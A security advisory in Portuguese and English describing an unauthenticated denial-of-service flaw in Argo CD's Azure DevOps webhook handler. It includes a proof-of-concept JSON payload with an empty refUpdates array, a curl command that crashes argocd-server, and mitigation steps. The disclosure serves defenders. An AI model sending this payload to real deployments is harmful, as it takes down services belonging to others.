PT-2025-40045 · Go · Github.Com/Argoproj/Argo-Cd/V2+1

Publicado

2025-09-30

·

Atualizado

2025-09-30

CVSS v3.1

7.5

Alta

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.

Details

go
case azuredevops.GitPushEvent:
  // util/webhook/webhook.go -- line ≈147
  revision    = ParseRevision(payload.Resource.RefUpdates[0].Name)    // panics if slice empty
  change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
  change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
  touchedHead   = payload.Resource.RefUpdates[0].Name ==
           payload.Resource.Repository.DefaultBranch
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:
json
{
 "eventType": "git.push",
 "resource": {
  "refUpdates": [],
  "repository": {
   "remoteUrl": "https://example.com/dummy",
   "defaultBranch": "refs/heads/master"
  }
 }
}
curl call:
shell
curl -k -X POST https://argocd.example.com/api/webhook 
   -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' 
   -H 'Content-Type: application/json' 
   --data-binary @payload-azure-empty.json
Observed crash:
panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
  webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
diff
apiVersion: v1
kind: Secret
metadata:
 name: argocd-secret
type: Opaque
data:
+ webhook.azuredevops.username: <your base64-encoded secret here>
+ webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-248CWE-703

Identificadores relacionados

GHSA-GPX4-37G2-C8PV

Produtos afetados

Github.Com/Argoproj/Argo-Cd/V2
Github.Com/Argoproj/Argo-Cd/V3